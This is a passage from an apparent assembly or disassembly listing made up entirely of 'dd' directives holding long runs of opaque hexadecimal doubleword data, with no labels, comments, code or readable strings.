		dd 0FF46C7DDh, 0D431F7A3h, 9DA8F083h, 0E3D2DB68h, 82050D24h
		dd 70DDB9D9h, 0F632AFC4h, 1B26BE1Ah, 3871BEF2h,	6D001EB4h
		dd 55CDF6FEh, 2B36DFCCh, 34DBB36Ch, 0CF404EE7h,	7D5A1A50h
		dd 6C33D87Eh, 1882h, 61AE6130h,	0FE4BC4C8h, 9DEA2565h
		dd 37848B04h, 0D320EF9Eh, 711CD2E3h, 0D3B8519Eh, 3A56EF3Ch
		dd 9FEF88D5h, 0FA492370h, 0F4B595F2h, 3309E64Dh, 0BEF31C72h
		dd 5FB0DE97h, 98F6572Ah, 0DC6F4277h, 6F21FE07h,	37986BA0h
		dd 8F4EB956h, 715C850Eh, 6E204B9Eh, 2E996CA1h, 95242C9Bh
		dd 3249F39Fh, 89B25D31h, 51B2E644h, 39F863D1h, 0B4010E80h
		dd 0F4D86BCCh, 0D4C1CB4Dh, 6FA0EE87h, 0D5BCC522h, 25AB0E16h
		dd 0D185008h, 18F7954Eh, 25FFD859h, 57259FF7h, 0DAA35353h
		dd 0DC6FDA3Fh, 0C94646DFh, 4CC3CB94h, 0B54295CDh, 0F1B85DEDh
		dd 17D2h, 0B1FE1180h, 4E9B7418h, 0ED3AD5B5h, 87D43B54h
		dd 23709FEEh, 216C8233h, 8308A1EEh, 0EAA63F8Ch,	4F3FD825h
		dd 4A9973C0h, 0F4B54542h, 8359364Dh, 1C0A5AEh, 0BF5A31EAh
		dd 9FD43FD0h, 0E0D939CCh, 0BF49F2ADh, 0AADD4CF6h, 22834631h
		dd 9A6DA26Dh, 0D7B7702Fh, 0CAC07938h, 0AA3D1045h, 594650ADh
		dd 4C29929Ah, 8F9A4DF5h, 4B4C425Ah, 1B724DF5h, 95F6BFF4h
		dd 1172457Ah, 6360957Ah, 6727C21Fh, 0F9153DA8h,	0E21A1E8h
		dd 77F624A9h, 48000000h, 0BFA4AEh, 5FA6E1E9h, 0D4D547DFh
		dd 56E954BBh, 5FA4DFE7h, 0C4CF47DFh, 6014778Fh,	0A0DF47DFh
		dd 0D568A7E7h, 51315889h
		dd 1922BCE2h, 71068598h, 93264D8Eh, 3D91h, 6B23E300h, 0F347DF5Fh
		dd 5FB3D4DCh, 71D047DFh, 0DF601E69h, 0E7525D47h, 99767F54h
		dd 16E91EF1h, 0BED5ECABh, 0DF5FD1B6h, 14A7B247h, 0F174FAB4h
		dd 0C3828D49h, 5437A242h, 9C2FF285h, 0A5AEE99Fh, 1F901C0h
		dd 1C49F160h, 35A06F1Bh, 42CDBD76h, 0C2A73A0Dh,	0BB7A95F9h
		dd 0F2858A02h, 0DD325CF5h, 61AEDFA8h, 4838BA2h,	774DF160h
		dd 5EF4D96Ch, 424C974Ah, 0A7E780CDh, 9DA63368h,	0D078F9B8h
		dd 0CC7D2609h, 1E35A437h, 0CE414E07h, 0F1D2691Eh, 7C0F1A4Dh
		dd 3F4321Ch, 8B4A5550h,	0F556B9D2h, 70437897h, 4747E0DDh
		dd 2D7B93C8h, 0BADF945Fh, 8FC2CA83h, 27419EB5h,	0ED228DA8h
		dd 0A63B871Ah, 6FBC533Bh, 3ED1BF78h, 0B6D53609h, 0BE512459h
		dd 0F92EE1ADh, 0D5BA5F30h, 0ADA9DEE6h, 0CFDAC015h, 1CC4F964h
		dd 5836B130h, 0BA736AB7h, 32053AD5h, 0F008E9Fh,	5D444DDAh
		dd 0CA94969Eh, 530CC227h, 0D49DD23Dh, 57EA55BAh, 1EB7040Fh
		dd 436A9F70h, 0C963242Ch, 5720C603h, 23A7C54Fh,	932691C7h
		dd 47060982h, 0F7187730h, 483FEFC2h, 0AAC603CCh, 3ED7131Fh
		dd 0D3DE76B8h, 0B1C55B40h, 0ED9E5730h, 871AED22h, 38F71876h
		dd 7B4D7BB7h, 0D7D1C425h, 4381FC6h, 817E117Ch, 54BBD18Ah
		dd 31DEB0C1h, 0C1666FFCh, 0B6B4E242h, 0F39DFE39h, 0EAF2B11Ch
		dd 0C8163918h, 0C7C0C827h, 0B4C01642h, 58F13EA9h, 611AD936h
		dd 6A4FE22Dh, 0D152C43h, 0C016427Ah, 394EFE09h,	4AC01643h
		dd 42A4E3EBh, 0CCD7C016h, 1D6ECE61h, 9DB01643h,	23EC21EEh
		dd 32DDB069h, 2FB392C7h, 0B6D1D9B2h, 0C5B01642h, 76BA4FBAh
		dd 10E806Bh, 9A751BB4h,	28F19C65h, 0D42AD62h, 92C74844h
		dd 194EC1C9h, 0B62BB63Ah, 0BB26BB3Fh, 54ED3AD5h, 62ADDD3Ch
		dd 0E29BC2F7h, 0C0D164ABh, 750B40CFh, 2B658061h, 1FA097E4h
		dd 7A2F11C7h, 96A73A36h, 53E015FAh, 1B9C5B4Ah, 152D99C9h
		dd 513E9F72h, 23B689BEh, 0ACE49DB4h, 0EB9CA463h, 98B01577h
		dd 609AFA8Dh, 3FB22778h, 5736FF34h, 0D6BA83B8h,	5A6E0439h
		dd 26125287h, 0AF6030BBh, 4AC5C962h, 0CD424C15h, 0AC35B998h
		dd 75C24D41h, 98E60080h, 28D54Ch, 72270000h, 95BCF11Eh
		dd 295EB1DCh, 0E5EEC356h, 2884100h, 30B7A0Dh, 49F16B7Fh
		dd 32DDADAEh, 72BF2AFDh, 12DBh,	1E724500h, 262FBCF1h, 2A78803Fh
		dd 1549F173h, 9B07BD0Ah, 0F7C35A8h, 97F8CB00h, 13E61BF4h
		dd 5FA2AB80h, 0DF603057h, 0DD485347h, 7538161Eh, 444F49F1h
		dd 897413F3h, 717A6122h, 810CC584h, 848CFB8Eh, 3C927A1Ah
		dd 20ADE2EDh, 636B2A17h, 3EA4A660h, 10C98893h, 19D2917Eh
		dd 90639877h, 276700FDh, 8A1769E8h, 16BB1F14h, 14194Fh
		dd 45CAC700h, 0E22D5FF8h, 818EFC95h, 1BF49B34h,	0B75835CEh
		dd 0B33B7A6Ah, 4FE835DAh, 0ED86D33Ch, 861F6CA3h, 0E0BA0708h
		dd 0B9FE8991h, 0A07D4DF4h, 5E6423CAh, 818A47DFh, 25CDD594h
		dd 1049F16Eh, 0FF8D4605h, 7508DB10h, 0CC434D06h, 65AAE67Fh
		dd 2A276730h, 0B7538FA3h, 1392FDC4h, 0EBA7CFC7h, 0B3FFC66Bh
		dd 61000013h, 0F992DF30h, 962F7C93h, 35CE1BF4h,	0CF68B55Ah
		dd 140451BEh, 0CF404DA1h, 6DA2E982h, 6098720h, 0A16E20B9h
		dd 232B7A54h, 4DF4BA64h, 0AE643A17h, 0F901C0A5h, 49F16CF9h
		dd 0A9DEE6FDh, 0DA4DF16Eh, 79CA7D11h, 8738041h,	0D24A24DFh
		dd 5FF22CC2h, 324C4E17h, 0BA883CAAh, 1F48946Ch,	0EC57B75Dh
		dd 0F31C742Dh, 0E958EBBEh, 66B35C30h, 1B50BFCDh, 9ED33C52h
		dd 0CD70AF6h, 0D2428F80h, 8065719Ch, 2CBF402Fh,	0E1FDCA22h
		dd 0F44CBC1h, 2070D13Ch, 414B5CEFh, 0D8199CEh, 5E4DF1E8h
		dd 0F619762Fh, 0F5BEEC1h, 8A00B9D2h, 0A38753C7h, 65D0B6E4h
		dd 0F0CBC1D2h, 0F1BC9FE8h, 0DAADB54Dh, 0A94DF1BCh, 90FB069Eh
		dd 2D354C43h, 4DF1BC5Ah, 7A8B1E29h, 0A1C8FD12h,	0B2364420h
		dd 131BF945h, 4DF1FE74h, 0D291FC07h, 0F1FEBDCAh, 20B3BE4Dh
		dd 9453424Bh, 54D0D8Ch,	30EFFA50h, 0ABF81777h, 5E937C12h
		dd 0ABE3C8D1h, 813AF964h, 372050Ah, 0FA751DFBh,	8BFF0049h
		dd 117C4F84h, 1AF59952h, 23ECA25Bh, 94FA9390h, 0B04F46BDh
		dd 43AE0806h, 8978810Eh, 2DB0C2CAh, 0D4DF5004h,	0B5153F55h
		dd 470EB3EDh, 126Eh, 4D9A751Ch,	0EA37D8B4h, 89D63951h
		dd 23709FF0h, 0BF0C038Ah, 8508E6CFh, 0E7A43D8Ah, 4E42DB28h
		dd 0B3DB74C1h, 0E6350F5Ch, 0F4BBA9DEh, 27FDDA4Dh, 0DF5F9F23h
		dd 0C44B4547h, 66111A77h, 0CEA73E4Fh, 7EEF2884h, 639D5107h
		dd 0B7CE8DF8h, 28B8EFEh, 9A6DA20Dh, 0E769A707h,	8B5449F2h
		dd 288DF36h, 0DC05D80Dh, 0C7323B82h, 9EE9F108h,	0DD4DF541h
		dd 17D03FD2h, 994F9C73h, 3CEABE16h, 9F7DFE23h, 1B3C57DDh
		dd 4FE3E578h, 0F4000001h, 5F67543Bh, 48602128h,	52E5505Bh
		dd 0BDA6AE24h, 820C143Fh, 7347DF5Fh, 5B140A88h,	0D4A7DC33h
		dd 3ABBD241h, 7AA734Ch,	0EC1AAD1Eh, 0AE23A937h,	4AC5C5A0h
		dd 59D74215h, 0E9305B14h, 603368A7h, 5AEDC0F5h,	0A2AE0DF3h
		dd 0D4823BB9h, 0BCEACE16h, 535B25h, 0AEAD0000h,	43FCBBA0h
		dd 230C34Ch, 65E6FD14h,	0ECC46932h, 6F18C818h, 0C47E01Eh
		dd 800E6E01h, 747E01Eh,	93147EFCh, 0FE91E965h, 0B423B66Eh
		dd 0F71872DEh, 10E7F38h, 323AF9CCh, 47DF5F55h, 5A881B26h
		dd 9141C251h, 695865E6h, 749BC95Ch, 3Ah, 0BBA0AEDEh, 0C64943FCh
		dd 0C140533h, 47DF5F82h, 0B2C98873h, 0DF5FDDAAh, 7D770D47h
		dd 28F58C7Fh, 3E5C8590h, 0CCBBB87Ch, 143866F9h,	0C64944FDh
		dd 0FD2BBE91h, 79F71872h, 0CE160351h, 0EE25BCEAh, 23B65935h
		dd 3B21h, 0A2AE7300h, 587E9EFBh, 8DF842BCh, 987715CEh
		dd 0C14D705h, 47DF5F82h, 147CFA05h, 0A4E7325Bh,	0F863366Bh
		dd 0EE5DF0C3h, 0F51A7218h, 0FD127D36h, 3462F5C8h, 1D740351h
		dd 0DE000000h, 3BB9A2AEh, 5F820C14h, 887347DFh,	927D10C9h
		dd 0C9F78A5Dh, 1A723E14h, 35177F5h, 0FFFE9F74h,	0A5AEDEFFh
		dd 0D97C1D02h, 0BC27358Dh, 0EBC27CFDh, 0C88F9834h, 0DF95C7C0h
		dd 3EA9B447h, 0CC5FB0DDh, 0E464555Dh, 384349F2h, 41CEC079h
		dd 4BC4C982h, 0B3B04316h, 888703BCh, 18ED8053h,	5A62210Eh
		dd 4DF4D82Dh, 6D84434Eh, 0F4D82265h, 0C356614Dh, 0D7C3C6DEh
		dd 97F74DF4h, 127A4378h, 1E32C8FDh, 0DAF61EC3h,	9A008007h
		dd 5AD524A9h, 27000000h, 0DF5F6823h, 0D33C5247h, 4944FD14h
		dd 0EBE91C6h, 47DF5F79h, 0A4D6FF0Ah, 0D08F523Fh, 0AD959225h
		dd 47DFD6E1h, 0CBD30E17h, 47DFD6BCh, 1D5FF6BFh,	4FFF6597h
		dd 1BA79E4h, 84F38689h,	0F22DF27Ch, 4B0A1549h, 7F12FD92h
		dd 0DBEB82h, 0FD140000h, 0F1E092F5h, 53E6F14Dh,	0C0A5AE25h
		dd 0CB444801h, 0C130C396h, 0F18ED5B9h, 0E6A5B049h, 5FAC632Dh
		dd 1045CAC6h, 0CC8B7A83h, 3967913h, 5E667D94h, 4DF19129h
		dd 5CBC4F5Ah, 5004DF35h, 41581722h, 0DB65222Ah,	0B1647E6h
		dd 0DC43444Ch, 354047E6h, 10FF91A2h, 0ADB5CCC3h, 47E6DBDAh
		dd 0FA0B9EA9h, 0B7447996h, 0F108C7AEh, 0DBB5D2DAh, 0BBC647E6h
		dd 20FCC828h, 0F4FF49FAh, 0F7C35h, 0E8833ACBh, 9F1B1573h
		dd 1A6D7534h, 694DF221h, 0A35CCB5Eh, 3ED724EBh,	0F2570150h
		dd 556D5F9Fh, 0B0336BEAh, 7A1FEBA7h, 0F2DB3h, 59B6DB00h
		dd 0F619730Ch, 957A10A9h, 2FE0AF48h, 0CB4449E2h
		dd 0C7278E7Eh, 63FC49C6h, 19AE728h, 9A33808Fh, 0F4CE1BF4h
		dd 0BEEA9DA5h, 0BC994DF4h, 0FD1C72E6h, 5817828Dh, 0E91EF19Fh
		dd 36A16E20h, 99F5BEA3h, 90FEB776h, 36B94A7Fh, 529CC03Ch
		dd 351AAD18h, 0D40FD256h, 130855BAh, 22BC1BB3h,	2768h
		dd 0A5AEBA00h, 0A5F901C0h, 8049F177h, 17774075h, 7C12ABF8h
		dd 0EB20EF9Dh, 0EB78AD18h, 2C34F3E2h, 5003A562h, 17CD1A25h
		dd 0A8F51A72h, 5D927D0Fh, 0DF607B45h, 0FC137D47h, 8337B8AFh
		dd 0BC00737Eh, 434C21B4h, 0C185020Ah, 0EBF647DFh, 93AAC180h
		dd 0C213747Ch, 657047DFh, 0DFC1D2B5h, 69A6E847h, 0D333C6D1h
		dd 49F30530h, 0C0793843h, 42F845CAh, 3CEABE16h,	4745FE23h
		dd 6F3335C8h, 85000001h, 3FBDA6AEh, 5F820C14h, 887347DFh
		dd 373E140Ah, 5B1423A9h, 764BDE31h, 1C058368h, 0B1D6DEF5h
		dd 0D247DF5Fh, 0AE0634C7h, 143BB9A2h, 0A7DC335Bh, 924041D4h
		dd 0BCEACE16h, 16DEE25h, 43DFF538h, 0F35EB1DFh,	3E5E60h
		dd 0AEB00000h, 143DBBA0h, 0DF5F820Ch, 0DF5DDE47h, 8FF017F1h
		dd 961F6870h, 515C47DFh, 0B53E6h, 8078841h, 3F6D00D3h
		dd 4644FD14h, 720836C9h, 5179F718h, 467403h, 0E49D0000h
		dd 0A5D366A9h, 3DBBA0AEh, 5F820C14h, 347347DFh,	0DF5F5B2Ch
		dd 0B21D2847h, 143E1434h, 5F92F5FDh, 0E6F147DFh, 0C7484253h
		dd 71931449h, 21938519h, 30998463h, 71E24307h, 9C1DACDEh
		dd 5114C3E2h, 0A2D063BBh, 0BCEACE16h, 515B25h, 0AEAD0000h
		dd 143BB9A2h, 0C54A44FDh, 0CA2ABD90h, 47DF5FC4h, 65AAE39Ch
		dd 17F8AD2h, 92F5FD14h,	0F147DF5Fh, 0EE453E6h, 0DE315B14h
		dd 0FF523A4Bh, 8D75C581h, 0FDBC2705h, 0C49B327Ch, 0EC7F8935h
		dd 140351BEh, 5F92F5FDh, 0E6F147DFh, 3D4453h, 0AEAE0000h
		dd 143BB9A2h, 0CE4B44FDh, 51E44FC0h, 0DF5F9DF1h, 0F1AAC147h
		dd 0C6C1719Eh, 0EC47DF5Fh, 0CED9719Eh, 0F876613Bh, 1A723E14h
		dd 0FD1477F5h, 0DF5F92F5h, 53E6F147h, 0B1D99221h, 749DCB5Eh
		dd 0FFFFFE8Ch, 834E1C9Dh, 0B73EFDA8h, 0A5AEF624h, 444801C0h
		dd 0BFCD96CBh, 0DD481B50h, 0E6D3DB4Ah, 0D549F2ADh, 968A0BCAh
		dd 2AB360C3h, 1FF0A001h, 158417EAh, 0D6DB7DFEh,	0B0DA041Bh
		dd 8D820C1Dh, 0ECD9E340h, 2C37AC2Dh, 619EFFBFh,	0F4A52E59h
		dd 0D7424D4Dh, 64F71876h, 0A49AEDF5h, 0DEE94DF4h, 0A4F891A9h
		dd 0DBF74DF4h, 5DFC7D06h, 8CFB03FBh, 0EF4DF501h, 7304BBE4h
		dd 0D23DD2BAh, 0FBF2D23Fh, 212724A9h, 38000000h, 9F41107Fh
		dd 5CE57F9h, 73467BE6h,	3967912h, 5F6823D5h, 3C5247DFh
		dd 0B2EF86D3h, 59000000h, 1C0A5AEh, 39CC4348h, 594CC2CAh
		dd 303B49F1h, 0EFA15A71h, 147C8D20h, 0C9888705h, 0F162C6C1h
		dd 3FAAB54Dh, 0D83759F2h, 8DFA0219h, 0EE4DF162h, 36EA1EDh
		dd 4D648B70h, 0F1634245h, 0A336414Dh, 21E0C5CEh, 4B07419h
		dd 79121350h, 238E6196h, 2AE5AB64h, 0A62EA6Bh, 0F057C494h
		dd 0C9C7605Dh, 7B841146h, 0F5CFD796h, 849FAA2h,	9853EFDh
		dd 6E20B906h, 1DF422A1h, 0B95EEBA7h, 0BC1F2h, 0ED226F00h
		dd 8A8507A0h, 29E6A43Dh, 0C34C43DCh, 5FB0DD76h,	5B932212h
		dd 0F790DD32h, 952E7B94h, 2EC714FBh, 8862AF60h,	0C2563139h
		dd 48254DF4h, 0F31C7272h, 2299F5BEh, 0DF5F6D1Ah, 98030E47h
		dd 0CDBAC2D9h, 0AE47DF5Fh, 0ABDCE4A3h, 0D847DF5Fh, 76553ACDh
		dd 9AF4EFF2h, 1A312875h, 0DF5F7512h, 8A050647h,	1A871A85h
		dd 22BCE2BAh, 0A4E3EB02h, 0D747DF67h, 6A3739CCh, 48000000h
		dd 675E2931h, 121D47DFh, 0A5AE517Fh, 0F9F901C0h, 2449F188h
		dd 3CBDE419h, 0B17F2E77h, 5F700347h, 9C93E02Fh,	3BD9831Bh
		dd 0B78ABF50h, 84E0308Eh, 61AEE0F1h, 5B969F2Ch,	0F1E63453h
		dd 4846474Dh, 54BF92C7h, 5A132AE9h, 6AA5E633h, 0C2F76235h
		dd 12FC5CEFh, 755003DFh, 6D261D6Ah, 0EABDF21Dh,	0EED708C1h
		dd 0F1843930h, 0F51A72C3h, 6002C0A8h, 0ACE447DFh, 0B0B91663h
		dd 3EFA02C1h, 6149F2A3h, 0ACDE9756h, 14601663h,	4ADD325Bh
		dd 3CEAE5DDh, 7F0CC523h, 2CFBFD90h, 4D000001h, 3FBDA6AEh
		dd 5F820C14h, 887347DFh, 7CFD140Ah, 0B9E32513h,	0F59AFB8Bh
		dd 3759871Ah, 0A0AE23A9h, 0FD143DBBh, 0DF5F92F5h, 53E6F147h
		dd 0A2AE06ECh, 41464E65h, 4247DF60h, 60008737h,	788347DFh
		dd 2D987717h, 16D482AFh, 25BCEACEh, 365Bh, 0A0AEAD00h
		dd 0C143DBBh, 47DF5F82h, 147CFA05h, 0C54A44FDh,	0FD140432h
		dd 0DF5F92F5h, 53E6F147h, 6B734842h, 47DF601Ch,	7D15FA96h
		dd 51890772h, 257403h, 0AEDE0000h, 143DBBA0h, 5F92F5FDh
		dd 662847DFh, 9A174A9h,	0F4FC6BFEh, 47DF5F9Ah, 14F2705Bh
		dd 0F718723Eh, 16035179h, 25BCEACEh, 355Bh, 0A2AEAD00h
		dd 0FD143BB9h, 0DF5F92F5h, 85E6F147h, 372050Ah,	0DF5F93FBh
		dd 9DF1F247h, 14890772h, 0C093143Eh, 0D5233698h, 9FEDFE91h
		dd 351F270h, 3C74h, 0A2AEDE00h,	0C143BB9h, 47DF5F82h, 13FC9273h
		dd 0FD142AA8h, 8EC34C44h, 60285F67h, 505B47DFh,	722452E5h
		dd 57F8371Ah, 0C7F6EDFEh, 0A9E49D5Ch, 87F21D70h, 9068952h
		dd 51DD0B9Eh, 0FEC17403h, 0AEDEFFFFh, 0F901C0A5h, 49F2ADC0h
		dd 9415D4DFh, 35524BA4h, 64232BC4h, 174DF4C9h, 9F0EA10Ch
		dd 0B13A8E6h, 4DF4C97Ch, 0D8CBF4FFh, 74C61E95h,	3F3683EEh
		dd 7A672028h, 9144DF4h,	0AA97A176h, 7AA4E3EBh, 0F7B04DF4h
		dd 1E457A95h, 0F47A7116h, 9C07124Dh, 81B6C109h,	0F47B2069h
		dd 7990CF4Dh, 0F47B1671h, 0C75A654Dh, 0A71F667Bh, 7424A9F9h
		dd 35h,	5F6823C6h, 73F447DFh, 65C35F33h, 0B1B4910Ch, 3A5C7A42h
		dd 0F11E6ECFh, 7A414D5Eh, 9444CBC1h, 47DF62F3h,	0CD1A8590h
		dd 0D936h, 0E6A65F00h, 8E21F429h, 2A5AE60h, 309C595Ah
		dd 5A1984C1h, 0C038A43h, 117104D7h, 49F1D611h, 5912D1DCh
		dd 0D5A8DD32h, 0D5790E16h, 0FF0A4DF1h, 2DE6FD6Ch, 91AAD62h
		dd 5B2C3487h, 284DF1D5h, 3AF3B21Dh, 2E2BBE51h, 0B8C0FB95h
		dd 4DF1D5CFh, 4B40A1ACh, 972459C4h, 0E0E8A78Eh,	500523A9h
		dd 530CCBD6h, 0D241D43Bh, 848B02BBh, 5FB0E0F1h,	2177912h
		dd 0E318838Ch, 0A9684D56h, 1BC21192h, 4B808FFCh, 88D44F78h
		dd 0D7ED4DE0h, 2A49F9D3h, 9049601Fh, 6F8013FCh,	0AA3F01Fh
		dd 180C8B84h, 5AEBA7CCh, 838EEB5h, 0ABE60000h, 0E7E1764h
		dd 6F1BB401h, 0D5BA53A0h, 3954ED3Ah, 1C9989D6h,	754BBD2h
		dd 0A5F21D6Eh, 3E8B840Ch, 0D926E9A5h, 0DFA8B0FFh, 9C4DF4C5h
		dd 1C72E9BFh, 0C6B334F3h, 7A95F8B6h, 5B915951h,	0A5BCE3C8h
		dd 0DF97EA9Dh, 0F5989947h, 0A712E51Ah, 92C74846h, 731B2CBFh
		dd 6C2BE4A6h, 0DF982364h, 0EA556047h, 8F52D6B5h, 0C14E3DF6h
		dd 50E32C60h, 0C3CA4F3Fh, 0D944174Ch, 0C63F978Ch, 4CEC22BCh
		dd 0FD000000h, 8EC34C44h, 14FA28BBh, 5F92F5FDh,	0E6F147DFh
		dd 90757E53h, 7D81C9D1h, 3E5549F1h, 0F17C5136h,	9427324Dh
		dd 6B82414Ch, 0F17D2463h, 0B94C574Dh, 7CCFBCD4h, 8244DF1h
		dd 98F7B0D9h, 0DC6F4277h, 0AEE3176Fh, 42C424h, 0AE160000h
		dd 0F901C0A5h, 49F18F85h, 1DD695A0h, 976A9F70h,	38561F04h
		dd 9DF18AD7h, 95163D72h, 30A3E453h, 1CF18496h, 676F2E13h
		dd 5003ABBBh, 126AE263h, 61AF958Ch, 466F9745h, 9124B090h
		dd 3BF13E49h, 71399314h, 0D1060985h, 1B75D5FEh,	0F78803Fh
		dd 6C47E022h, 69E6CE61h, 0CE414D06h, 5E33C699h,	0A9B17055h
		dd 49F237A5h, 7F9000B9h, 7516774Ah, 0B4BF079Ah,	0D5BB7463h
		dd 93C84744h, 4D2055C0h, 396EA1ECh, 0B173D366h,	378D6879h
		dd 8088472Eh, 1056151Eh, 0BE3FFE09h, 0AF9AC55Ch, 8D720537h
		dd 4B0AF700h, 686E8043h, 0DF2AF30Ah, 5FB0DF4Eh,	11EAAD36h
		dd 8D60957Ah, 3FF8B722h, 58C1CA4Fh, 0CFA2D738h,	13ACF964h
		dd 715947Bh, 2B2BD135h,	694BF86h, 4F420000h, 0B2DA73C0h
		dd 1377105Dh, 7916AFFCh, 0DDB04996h, 0C0F5E532h, 63B05F2Eh
		dd 14EC1CAh, 9AE72868h,	35828D01h, 83040C5Bh, 4DF4C7h
		dd 1C724D23h, 95F5BEF3h, 0C7D02D7Ah, 76131BDAh,	0DE49F2ADh
		dd 0ADC8BFC7h, 0BABB4DF4h, 310439D6h, 0E42B65C6h, 149DCAFh
		dd 92F8C1F6h, 0EA36FE7Dh, 0B75CEBA0h, 62DF0h, 59B6DB00h
		dd 0F619730Ch, 957A10A9h, 2FE0AF48h, 0CB4449E2h, 0C7278E7Eh
		dd 63FC49C6h, 19AE728h,	9A33808Fh, 0F4CE1BF4h, 0C7EA9DA5h
		dd 0BC994DF4h, 0C0A5AEE6h, 0CBD3EA01h, 47DF5FBCh, 0C121B4BFh
		dd 49F2ADCCh, 0D7A21394h, 0AA4D0A54h, 8FC4CF17h, 0A8DC4C6h
		dd 0AF19EC44h, 600F729Bh, 77B03DE7h, 0F2BB8D0Ch, 12B7EBA0h
		dd 5C14Bh, 0ED226F00h, 8A8507A0h, 29E6A43Dh, 0C34C43DCh
		dd 5FB0DD76h, 5B932212h, 0F790DD32h, 952E7B94h,	2EC714FBh
		dd 8862AF60h, 0C8563139h, 48254DF4h, 0C0A5AE72h, 0AD98F901h
		dd 496049F2h, 0F4AC4641h, 972A354Dh, 460F444Fh,	186F7744h
		dd 6B4DF4ADh, 9A76F560h, 0D8EBA0E9h, 5646C33h, 7F120000h
		dd 0E2AA4390h, 4347E02Dh, 0A9E67FCCh, 0D801966h, 0F0C5B502h
		dd 33808FFEh, 0D11EF19Ah, 6AB75838h, 552BDD1h, 0B3D4DC2Bh
		dd 0D04DF4C8h, 1C721DF3h, 99F5BEF3h, 74AB4176h,	0A73AD5BBh
		dd 335B865Bh, 3166A9E6h, 1D34F35Eh, 0DF5F7215h,	25481147h
		dd 0D978D1F6h, 413ED13Ch, 0F429E6A8h, 0DFDFB2DCh, 0B8CBB47h
		dd 46DEC818h, 8FDB6E1Eh, 22F79752h, 0EB38A36Ch,	9ED33C52h
		dd 0FA02B9D5h, 47E0238Dh, 878FEEh, 8347E024h, 0E3A20D78h
		dd 78AD622Ah, 0B81512A5h, 0FB03C2AFh, 49F25093h, 0DBACB4CBh
		dd 0A84DF24Ah, 0B7C20A9Dh, 4B216A82h, 0F5994DF2h, 721CE51Ah
		dd 3941689Dh, 4DF24A4Eh, 27AB222Dh, 0B25D2FBAh,	173FAA7Dh
		dd 869DE6FBh, 0F24B097Eh, 0DC6F7A4Dh, 0AE09176Fh, 4CC424h
		dd 14160000h, 48DB345Bh, 0BC7B6A73h, 0F17F12B4h, 356A7549h
		dd 0F1806E1Dh, 0D13E4C4Dh, 5DBCD39Ch, 3E73DE31h, 0FFE4FD41h
		dd 5F26BBD7h, 24AEDF67h, 374BC647h, 0FADCBAABh,	0E06567h
		dd 5F760000h, 0F1E33057h, 0E018A4Dh, 636E06D9h,	1C72A2D0h
		dd 98F5BEF3h, 15794277h, 92FCC5FAh, 513DBE7Dh, 3650A5DBh
		dd 0ECD4D164h, 47E038DCh, 92DF305Eh, 0C8495F9h,	9AFBCE03h
		dd 7FB41FF0h, 3DFCE9F2h, 79120784h, 23F62B96h, 510A2190h
		dd 36ABD43Bh, 7A5BC053h, 0F066C659h, 0D749F179h, 0CF887FCCh
		dd 4A1D52BDh, 0ECD9E2B7h, 25F6252Dh, 0C2CD5004h, 0CC434A03h
		dd 68A7E67Fh, 0B32A7BE9h, 6B32D7EDh, 3C2h, 0A1EE2170h
		dd 3E8B8408h, 0DD2AE5A5h, 77C44B44h, 1360AFDEh,	315C9223h
		dd 93F891DEh, 0FA962F7Ch, 5F2FC815h, 3A8963B0h,	0F4CA5532h
		dd 7349264Dh, 98A01B72h, 47DF5FEFh, 1348C7C3h, 329DA840h
		dd 0B54AF273h, 0CDF61974h, 30BC355h, 47DFC984h,	0EE81ECF7h
		dd 0D93658F1h, 0A5AED68Ch, 0CDF901C0h, 3849F17Eh, 0DAB56E2Dh
		dd 57C24D3Fh, 0FFB8DFC4h, 76497E91h, 810883E3h,	0DEB24DF1h
		dd 87BC533Bh, 4B1449B4h, 16717942h, 654DF181h, 0F5BAEF5Ah
		dd 133BA041h, 23A3EAF7h, 0F824AEDFh, 0E5h, 0F31C724Ah
		dd 20B0B334h, 3F837546h, 8FFEC7ACh, 0A809068Ah,	23F62BE4h
		dd 5D6B83B8h, 0D747DF86h, 534E9AB7h, 1DD197A8h,	672F3B2h
		dd 39D6B832h, 19083104h, 0B089BFDh, 0BEF31C72h,	61AEDE97h
		dd 97849B2Ch, 0F8DA572h, 0C64943A4h, 562BBE91h,	0F718724Dh
		dd 0FDB6CD8Ch, 75487D92h, 937C14h, 0F18CB6A0h, 4C41FA49h
		dd 0E12E62C3h, 0AEFB064Eh, 9A594851h, 4FC0CA83h, 38625CBCh
		dd 651E5004h, 0D55E827h, 38A4302h, 0A2AE544Eh, 0A4CD2CE7h
		dd 0F73C1ABAh, 552BD3Bh, 6FEE216Ch, 0EDB346FFh,	7B07CE73h
		dd 29000002h, 0C15AA768h, 5EF744CBh, 0FD96E32Ch, 97307D92h
		dd 0DCCC19F6h, 977815D9h, 35DAB14Ah, 0CE414FE8h, 69A6E881h
		dd 0EBF3421Ch, 4DF4CB9Ch, 722C02DFh, 0EA7F41Bh,	4B428F80h
		dd 8215FA92h, 351C7254h, 2ED1C325h, 6A258605h, 329D70A5h
		dd 0B55A34FDh, 0BF020B68h, 0E00AD0B7h, 3DA8B347h, 28D4767Eh
		dd 8B0C49F2h, 4DB01C46h, 8CD46764h, 57344C81h, 9C4DF16Ah
		dd 0AA2A6180h, 7F24AEE9h, 4Bh, 0C0A5AED1h, 99C88001h, 5315A32Eh
		dd 0D1FA2EBAh, 0E3765C3Eh, 8A026C74h, 0FA0549F1h, 9939BA3Bh
		dd 3C8082BDh, 0BE51BC53h, 86CAC1D9h, 0D294DF1h,	9CA4BBD4h
		dd 4DF186EBh, 1F54BBCFh, 16A9B44Ch, 0AED929A9h,	2CFE24h
		dd 14500000h, 0A8E8315Bh, 0F4C7FC67h, 0E116F993h, 731B7B0Eh
		dd 8547DF5Fh, 0BFD6957Ch, 5FE7A0A8h, 899447DFh,	80CC96F6h
		dd 303B49F1h, 0A5AE2DE3h, 6DF901C0h, 7149F16Ch,	0A73AD5B8h
		dd 77BE965Fh, 5E329838h, 0ED161C9Eh, 9E09AFABh,	0B63A5169h
		dd 9DB94DF1h, 0B4754D44h, 1CA224AEh, 0F4000000h, 0DF5F6823h
		dd 0A0858E47h, 8089D9E1h, 697449F1h, 7AA4251Ch,	1CC7CDDh
		dd 0AE2755E8h, 57C2CAA5h, 0D3A6DB34h, 363EFD68h, 49F2AD63h
		dd 0BD763540h, 0FAF13ED1h, 8BC04F41h, 1247C8C2h, 0D15D43Fh
		dd 4DF4AC7Ah, 5A6BFE09h, 631CDB34h, 739CEF2Ah, 6D006B3Eh
		dd 3F2FB88h, 0E162D44h,	4DF4AC79h, 2AC24D41h, 0EC2C8C1Fh
		dd 0D75007EFh, 3A540DCCh, 9FEF88D5h, 0A5AE3B70h, 1F8001C0h
